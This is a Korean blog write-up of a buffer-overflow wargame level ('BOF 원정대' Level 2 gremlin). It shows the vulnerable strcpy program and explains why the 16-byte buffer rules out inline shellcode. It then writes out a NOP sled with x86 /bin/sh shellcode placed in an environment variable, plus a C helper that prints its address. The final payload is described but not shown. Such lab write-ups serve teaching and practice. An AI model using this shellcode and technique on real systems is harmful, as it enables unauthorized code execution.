티스토리 뷰

BOF 원정대 - Level2 gremlin


1. 소스

int main(int argc, char *argv[])
{
	char buffer[16];
	if(argc < 2) {
		printf("argv error\n");
		exit(0);
	}
	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);
}


2. 어셈블리 코드


main+0xA 에서 argc인자값이 2이상인지를 체크해, 아닐 경우 "argv error\n" 를 출력하고 프로그램을 종료한다.

main+0x23 부터는 ebp-0x10 (16 bytes) 떨어진 곳에 argv[1]의 값을 복사한 다음, 출력하고 프로그램을 종료한다.


main 함수 스택에 256바이트의 저장 공간이 주어졌던 1번 문제와는 다르게, 이번 문제에서는 스택에 16바이트만을 할당하고 있어, argv[1] 에 쉘 코드를 넣을 충분한 공간이 없다.


하지만 여전히 strcpy 함수를 이용하기 때문에 스택의 Old Frame Pointer와 RET을 변조하는것이 가능하다.

따라서, 우리가 원하는 쉘 코드를 프로그램에 넣어주고 실행해 볼 만한 방법으로는 다음 세 가지가 존재한다.


1. 환경변수에 쉘 코드를 삽입해, 프로그램에 로드되었을 때 RET을 이 주소로 변경.

2. argv[2] 에 쉘 코드를 삽입해, RET을 이 주소로 변경.

3. 20bytes(garbage) + 4bytes(ret for next shellcode) + shellcode(/bin/sh)를 argv[1]에 넣어준다. (다른 함수에서 사용한 스택이 손상됨)

-> 이렇게 할 경우 버퍼가 커널 영역을 침범할 수 있다.

커널 영역의 경우 user 실행 상태에서는 w 권한이 없기 때문에, 버퍼가 스택 영역으로 넘어가게 된다면 바로 Segmentation Fault가 발생하게 된다.


여기에서는 다소 새로울 수 있는 1번 방법을 이용해 공격을 시도해 보겠다.

먼저, 자신이 원하는 이름으로 쉘코드를 환경 변수에 등록한 후, 해당 환경 변수의 스택 주소값을 구하고, argv[1] 에 넣을 페이로드를 작성한다.


1. 쉘코드를 환경 변수에 등록. (참고)

export exploit=$(python -c "print('\x90' * 200 +  '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80')")

2. 환경변수에 등록된 쉘코드의 주소 확인.

getenv 함수를 이용해, 쉘코드가 담긴 포인터를 가져와 주소를 출력한다.

본래 프로그램이 실행될 때 이 주소가 바뀌지만, 현재 공격하고 있는 시스템은 ASLR이 작동되고 있지 않으므로 환경 변수가 변경되지 않으면 주소가 바뀌지 않을 확률이 높다.

#include "stdio.h"

int main()
{
	printf("Address : %x\n", getenv("exploit"));
}

3. 페이로드 작성

쉘이 위치하는 스택의 메모리 주소를 알아냈으니, 프로그램의 스택 오프셋에 맞추어 페이로드를 작성한다.


'Reversing > * BOF 원정대' 카테고리의 다른 글

BOF 원정대 - level1 gate -> gremlin (argc buffer)  (0) 2016.07.27
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
TAG
more
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
글 보관함